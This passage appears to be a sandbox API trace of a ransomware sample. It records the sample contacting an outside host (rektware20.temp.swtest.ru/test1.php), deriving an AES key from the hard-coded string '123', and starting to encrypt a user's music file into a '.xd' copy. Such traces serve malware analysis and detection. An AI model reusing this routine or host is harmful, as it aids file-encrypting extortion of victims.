cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ubF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bF2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zHO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HO8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0065.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.030] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.030] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0065.030] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.030] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0065.031] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0065.031] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.031] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0065.031] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0065.031] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d48, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d48, lpdwBufferLength=0x130ee1c) returned 1 [0065.031] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.031] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.031] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.031] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0065.031] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0065.031] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0065.031] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629200, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629200*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0065.032] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629480, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629480*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0065.032] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.032] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.032] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.032] CloseHandle (hObject=0x0) returned 0 [0065.032] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.032] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0065.032] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0065.032] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.032] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.032] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.033] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.033] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.033] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.033] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0065.033] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.033] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.033] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0065.033] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.033] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.033] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.033] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.033] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.033] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0065.033] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0065.034] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0065.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0065.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0065.034] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0065.034] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17abc38) returned 1 [0065.035] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.035] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.035] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0065.035] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.035] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.035] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.035] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.035] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.035] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.035] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.035] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.035] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.035] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.035] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.035] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.035] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0065.035] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.035] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.035] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.036] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.036] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.036] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.036] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.036] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.036] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.036] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.036] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.036] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.036] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.036] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.036] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.036] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.037] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.037] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.037] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0065.037] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0065.037] CryptCreateHash (in: hProv=0x17abc38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0065.037] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.037] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.037] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.037] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629560, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.037] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0065.037] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629700, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.038] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.038] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.038] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.038] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0065.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0065.038] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0065.038] CryptHashData (hHash=0x164c7f0, pbData=0x16296a0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0065.038] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.039] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.039] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.039] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.039] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.039] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.039] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.039] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621798, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0065.039] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0065.040] CryptDeriveKey (in: hProv=0x17abc38, Algid=0x6610, hBaseData=0x164c7f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c870) returned 1 [0065.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.040] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.040] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0065.040] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0065.040] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0065.040] CryptDestroyHash (hHash=0x164c7f0) returned 1 [0065.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.040] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.041] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.041] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.041] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.041] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\ilgre7hszjubf2zho8e.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0065.041] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.041] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0065.041] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.041] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.041] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.041] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg")) returned 0x10 [0065.041] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3.xd" (normalized: 